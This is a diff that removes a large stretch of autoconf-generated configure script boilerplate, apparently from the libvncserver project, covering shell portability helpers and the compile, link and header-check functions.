-# works around shells that cannot unset nonexistent variables.
-# Preserve -v and -x to the replacement shell.
-BASH_ENV=/dev/null
-ENV=/dev/null
-(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV
-case $- in @%:@ ((((
- *v*x* | *x*v* ) as_opts=-vx ;;
- *v* ) as_opts=-v ;;
- *x* ) as_opts=-x ;;
- * ) as_opts= ;;
-esac
-exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"}
-# Admittedly, this is quite paranoid, since all the known shells bail
-# out after a failed `exec'.
-$as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2
-exit 255
-fi
-
- if test x$as_have_required = xno; then :
- $as_echo "$0: This script requires a shell more modern than all"
- $as_echo "$0: the shells that I found on your system."
- if test x${ZSH_VERSION+set} = xset ; then
- $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should"
- $as_echo "$0: be upgraded to zsh 4.3.4 or later."
- else
- $as_echo "$0: Please tell bug-autoconf@gnu.org and
-$0: http://sourceforge.net/projects/libvncserver about your
-$0: system, including any error possibly output before this
-$0: message. Then install a modern shell, or manually run
-$0: the script under such a shell if you do have one."
- fi
- exit 1
-fi
-fi
-fi
-SHELL=${CONFIG_SHELL-/bin/sh}
-export SHELL
-# Unset more variables known to interfere with behavior of common tools.
-CLICOLOR_FORCE= GREP_OPTIONS=
-unset CLICOLOR_FORCE GREP_OPTIONS
-
-## --------------------- ##
-## M4sh Shell Functions. ##
-## --------------------- ##
-@%:@ as_fn_unset VAR
-@%:@ ---------------
-@%:@ Portably unset VAR.
-as_fn_unset ()
-{
- { eval $1=; unset $1;}
-}
-as_unset=as_fn_unset
-
-@%:@ as_fn_set_status STATUS
-@%:@ -----------------------
-@%:@ Set @S|@? to STATUS, without forking.
-as_fn_set_status ()
-{
- return $1
-} @%:@ as_fn_set_status
-
-@%:@ as_fn_exit STATUS
-@%:@ -----------------
-@%:@ Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
-as_fn_exit ()
-{
- set +e
- as_fn_set_status $1
- exit $1
-} @%:@ as_fn_exit
-
-@%:@ as_fn_mkdir_p
-@%:@ -------------
-@%:@ Create "@S|@as_dir" as a directory, including parents if necessary.
-as_fn_mkdir_p ()
-{
-
- case $as_dir in #(
- -*) as_dir=./$as_dir;;
- esac
- test -d "$as_dir" || eval $as_mkdir_p || {
- as_dirs=
- while :; do
- case $as_dir in #(
- *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'(
- *) as_qdir=$as_dir;;
- esac
- as_dirs="'$as_qdir' $as_dirs"
- as_dir=`$as_dirname -- "$as_dir" ||
-$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
- X"$as_dir" : 'X\(//\)[^/]' \| \
- X"$as_dir" : 'X\(//\)$' \| \
- X"$as_dir" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X"$as_dir" |
- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
- s//\1/
- q
- }
- /^X\(\/\/\)[^/].*/{
- s//\1/
- q
- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
- test -d "$as_dir" && break
- done
- test -z "$as_dirs" || eval "mkdir $as_dirs"
- } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir"
-
-
-} @%:@ as_fn_mkdir_p
-
-@%:@ as_fn_executable_p FILE
-@%:@ -----------------------
-@%:@ Test if FILE is an executable regular file.
-as_fn_executable_p ()
-{
- test -f "$1" && test -x "$1"
-} @%:@ as_fn_executable_p
-@%:@ as_fn_append VAR VALUE
-@%:@ ----------------------
-@%:@ Append the text in VALUE to the end of the definition contained in VAR. Take
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-@%:@ repeated appends, instead of the typical quadratic growth present in naive
-@%:@ implementations.
-if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then :
- eval 'as_fn_append ()
- {
- eval $1+=\$2
- }'
-else
- as_fn_append ()
- {
- eval $1=\$$1\$2
- }
-fi # as_fn_append
-
-@%:@ as_fn_arith ARG...
-@%:@ ------------------
-@%:@ Perform arithmetic evaluation on the ARGs, and store the result in the
-@%:@ global @S|@as_val. Take advantage of shells that can avoid forks. The arguments
-@%:@ must be portable across @S|@(()) and expr.
-if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then :
- eval 'as_fn_arith ()
- {
- as_val=$(( $* ))
- }'
-else
- as_fn_arith ()
- {
- as_val=`expr "$@" || test $? -eq 1`
- }
-fi # as_fn_arith
-
-
-@%:@ as_fn_error STATUS ERROR [LINENO LOG_FD]
-@%:@ ----------------------------------------
-@%:@ Output "`basename @S|@0`: error: ERROR" to stderr. If LINENO and LOG_FD are
-@%:@ provided, also output the error to LOG_FD, referencing LINENO. Then exit the
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-as_fn_error ()
-{
- as_status=$1; test $as_status -eq 0 && as_status=1
- if test "$4"; then
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- $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4
- fi
- $as_echo "$as_me: error: $2" >&2
- as_fn_exit $as_status
-} @%:@ as_fn_error
-
-if expr a : '\(a\)' >/dev/null 2>&1 &&
- test "X`expr 00001 : '.*\(...\)'`" = X001; then
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-else
- as_expr=false
-fi
-
-if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
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-else
- as_basename=false
-fi
-
-if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then
- as_dirname=dirname
-else
- as_dirname=false
-fi
-
-as_me=`$as_basename -- "$0" ||
-$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
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- X"$0" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X/"$0" |
- sed '/^.*\/\([^/][^/]*\)\/*$/{
- s//\1/
- q
- }
- /^X\/\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\/\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
-
-# Avoid depending upon Character Ranges.
-as_cr_letters='abcdefghijklmnopqrstuvwxyz'
-as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
-as_cr_Letters=$as_cr_letters$as_cr_LETTERS
-as_cr_digits='0123456789'
-as_cr_alnum=$as_cr_Letters$as_cr_digits
-
-
- as_lineno_1=$LINENO as_lineno_1a=$LINENO
- as_lineno_2=$LINENO as_lineno_2a=$LINENO
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- # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-)
- sed -n '
- p
- /[$]LINENO/=
- ' <$as_myself |
- sed '
- s/[$]LINENO.*/&-/
- t lineno
- b
- :lineno
- N
- :loop
- s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/
- t loop
- s/-\n.*//
- ' >$as_me.lineno &&
- chmod +x "$as_me.lineno" ||
- { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; }
-
- # If we had to re-execute with $CONFIG_SHELL, we're ensured to have
- # already done that, so ensure we don't try to do so again and fall
- # in an infinite loop. This has already happened in practice.
- _as_can_reexec=no; export _as_can_reexec
- # Don't try to exec as it changes $[0], causing all sort of problems
- # (the dirname of $[0] is not the place where we might find the
- # original and so on. Autoconf is especially sensitive to this).
- . "./$as_me.lineno"
- # Exit status is that of the last command.
- exit
-}
-
-ECHO_C= ECHO_N= ECHO_T=
-case `echo -n x` in @%:@(((((
--n*)
- case `echo 'xy\c'` in
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- xy) ECHO_C='\c';;
- *) echo `echo ksh88 bug on AIX 6.1` > /dev/null
- ECHO_T=' ';;
- esac;;
-*)
- ECHO_N='-n';;
-esac
-
-rm -f conf$$ conf$$.exe conf$$.file
-if test -d conf$$.dir; then
- rm -f conf$$.dir/conf$$.file
-else
- rm -f conf$$.dir
- mkdir conf$$.dir 2>/dev/null
-fi
-if (echo >conf$$.file) 2>/dev/null; then
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- as_ln_s='ln -s'
- # ... but there are two gotchas:
- # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail.
- # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable.
- # In both cases, we have to default to `cp -pR'.
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- as_ln_s='cp -pR'
- elif ln conf$$.file conf$$ 2>/dev/null; then
- as_ln_s=ln
- else
- as_ln_s='cp -pR'
- fi
-else
- as_ln_s='cp -pR'
-fi
-rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file
-rmdir conf$$.dir 2>/dev/null
-
-if mkdir -p . 2>/dev/null; then
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-else
- test -d ./-p && rmdir ./-p
- as_mkdir_p=false
-fi
-
-as_test_x='test -x'
-as_executable_p=as_fn_executable_p
-
-# Sed expression to map a string onto a valid CPP name.
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-
-# Sed expression to map a string onto a valid variable name.
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-
-
-
-# Check that we are running under the correct shell.
-SHELL=${CONFIG_SHELL-/bin/sh}
-
-case X$ECHO in
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- # Remove one level of quotation (which was required for Make).
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- ;;
-esac
-
-echo=${ECHO-echo}
-if test "X$1" = X--no-reexec; then
- # Discard the --no-reexec flag, and continue.
- shift
-elif test "X$1" = X--fallback-echo; then
- # Avoid inline document here, it may be left over
- :
-elif test "X`($echo '\t') 2>/dev/null`" = 'X\t' ; then
- # Yippee, $echo works!
- :
-else
- # Restart under the correct shell.
- exec $SHELL "$0" --no-reexec ${1+"$@"}
-fi
-
-if test "X$1" = X--fallback-echo; then
- # used as fallback echo
- shift
- cat <<EOF
-$*
-EOF
- exit 0
-fi
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-if test -z "$ECHO"; then
-if test "X${echo_test_string+set}" != Xset; then
-# find a string as large as possible, as long as the shell can cope with it
- for cmd in 'sed 50q "$0"' 'sed 20q "$0"' 'sed 10q "$0"' 'sed 2q "$0"' 'echo test'; do
- # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ...
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- test -z "$ac_c_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest.$ac_objext; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_compile
-
-@%:@ ac_fn_c_try_link LINENO
-@%:@ -----------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_c_try_link ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext conftest$ac_exeext
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_c_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest$ac_exeext && {
- test "$cross_compiling" = yes ||
- test -x conftest$ac_exeext
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information
- # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would
- # interfere with the next link command; also delete a directory that is
- # left behind by Apple's compiler. We do this before executing the actions.
- rm -rf conftest.dSYM conftest_ipa8_conftest.oo
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_link
-
-@%:@ ac_fn_c_try_cpp LINENO
-@%:@ ----------------------
-@%:@ Try to preprocess conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_c_try_cpp ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if { { ac_try="$ac_cpp conftest.$ac_ext"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } > conftest.i && {
- test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" ||
- test ! -s conftest.err
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_cpp
-
-@%:@ ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES
-@%:@ -------------------------------------------------------
-@%:@ Tests whether HEADER exists, giving a warning if it cannot be compiled using
-@%:@ the include files in INCLUDES and setting the cache variable VAR
-@%:@ accordingly.
-ac_fn_c_check_header_mongrel ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if eval \${$3+:} false; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
-else
- # Is the header compilable?
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5
-$as_echo_n "checking $2 usability... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$4
-@%:@include <$2>
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_header_compiler=yes
-else
- ac_header_compiler=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5
-$as_echo "$ac_header_compiler" >&6; }
-
-# Is the header present?
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5
-$as_echo_n "checking $2 presence... " >&6; }
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <$2>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- ac_header_preproc=yes
-else
- ac_header_preproc=no
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5
-$as_echo "$ac_header_preproc" >&6; }
-
-# So? What about this header?
-case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #((
- yes:no: )
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5
-$as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5
-$as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;}
- ;;
- no:yes:* )
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5
-$as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5
-$as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5
-$as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5
-$as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;}
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5
-$as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;}
-( $as_echo "## ----------------------------------------------------------- ##
-## Report this to http://sourceforge.net/projects/libvncserver ##
-## ----------------------------------------------------------- ##"
- ) | sed "s/^/$as_me: WARNING: /" >&2
- ;;
-esac
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- eval "$3=\$ac_header_compiler"
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
-
-} @%:@ ac_fn_c_check_header_mongrel
-
-@%:@ ac_fn_c_try_run LINENO
-@%:@ ----------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded. Assumes
-@%:@ that executables *can* be run.
-ac_fn_c_try_run ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && { ac_try='./conftest$ac_exeext'
- { { case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_try") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; }; then :
- ac_retval=0
-else
- $as_echo "$as_me: program exited with status $ac_status" >&5
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=$ac_status
-fi
- rm -rf conftest.dSYM conftest_ipa8_conftest.oo
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_c_try_run
-
-@%:@ ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES
-@%:@ -------------------------------------------------------
-@%:@ Tests whether HEADER exists and can be compiled using the include files in
-@%:@ INCLUDES, setting the cache variable VAR accordingly.
-ac_fn_c_check_header_compile ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$4
-@%:@include <$2>
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- eval "$3=yes"
-else
- eval "$3=no"
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
-
-} @%:@ ac_fn_c_check_header_compile
-
-@%:@ ac_fn_c_check_func LINENO FUNC VAR
-@%:@ ----------------------------------
-@%:@ Tests whether FUNC exists, setting the cache variable VAR accordingly
-ac_fn_c_check_func ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5
-$as_echo_n "checking for $2... " >&6; }
-if eval \${$3+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-/* Define $2 to an innocuous variant, in case <limits.h> declares $2.
- For example, HP-UX 11i <limits.h> declares gettimeofday. */
-#define $2 innocuous_$2
-
-/* System header to define __stub macros and hopefully few prototypes,
- which can conflict with char $2 (); below.
- Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- <limits.h> exists even on freestanding compilers. */
-
-#ifdef __STDC__
-# include <limits.h>
-#else
-# include <assert.h>
-#endif
-
-#undef $2
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char $2 ();
-/* The GNU C library defines this for functions which it implements
- to always fail with ENOSYS. Some functions are actually named
- something starting with __ and the normal name is an alias. */
-#if defined __stub_$2 || defined __stub___$2
-choke me
-#endif
-
-int
-main ()
-{
-return $2 ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- eval "$3=yes"
-else
- eval "$3=no"
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi
-eval ac_res=\$$3
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
-$as_echo "$ac_res" >&6; }
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
-
-} @%:@ ac_fn_c_check_func
-
-@%:@ ac_fn_cxx_try_compile LINENO
-@%:@ ----------------------------
-@%:@ Try to compile conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_cxx_try_compile ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext
- if { { ac_try="$ac_compile"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compile") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_cxx_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest.$ac_objext; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_cxx_try_compile
-
-@%:@ ac_fn_cxx_try_cpp LINENO
-@%:@ ------------------------
-@%:@ Try to preprocess conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_cxx_try_cpp ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- if { { ac_try="$ac_cpp conftest.$ac_ext"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } > conftest.i && {
- test -z "$ac_cxx_preproc_warn_flag$ac_cxx_werror_flag" ||
- test ! -s conftest.err
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_cxx_try_cpp
-
-@%:@ ac_fn_cxx_try_link LINENO
-@%:@ -------------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_cxx_try_link ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext conftest$ac_exeext
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_cxx_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest$ac_exeext && {
- test "$cross_compiling" = yes ||
- test -x conftest$ac_exeext
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information
- # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would
- # interfere with the next link command; also delete a directory that is
- # left behind by Apple's compiler. We do this before executing the actions.
- rm -rf conftest.dSYM conftest_ipa8_conftest.oo
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_cxx_try_link
-
-@%:@ ac_fn_f77_try_compile LINENO
-@%:@ ----------------------------
-@%:@ Try to compile conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_f77_try_compile ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext
- if { { ac_try="$ac_compile"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compile") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_f77_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest.$ac_objext; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_f77_try_compile
-
-@%:@ ac_fn_f77_try_link LINENO
-@%:@ -------------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_f77_try_link ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext conftest$ac_exeext
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_f77_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest$ac_exeext && {
- test "$cross_compiling" = yes ||
- test -x conftest$ac_exeext
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information
- # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would
- # interfere with the next link command; also delete a directory that is
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- IFS=$as_save_IFS
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- for ac_prog in egrep; do
- for ac_exec_ext in '' $ac_executable_extensions; do
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- # Check for GNU $ac_path_EGREP
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-*GNU*)
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-*)
- ac_count=0
- $as_echo_n 0123456789 >"conftest.in"
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- do
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- cp "conftest.in" "conftest.nl"
- $as_echo 'EGREP' >> "conftest.nl"
- "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break
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- as_fn_arith $ac_count + 1 && ac_count=$as_val
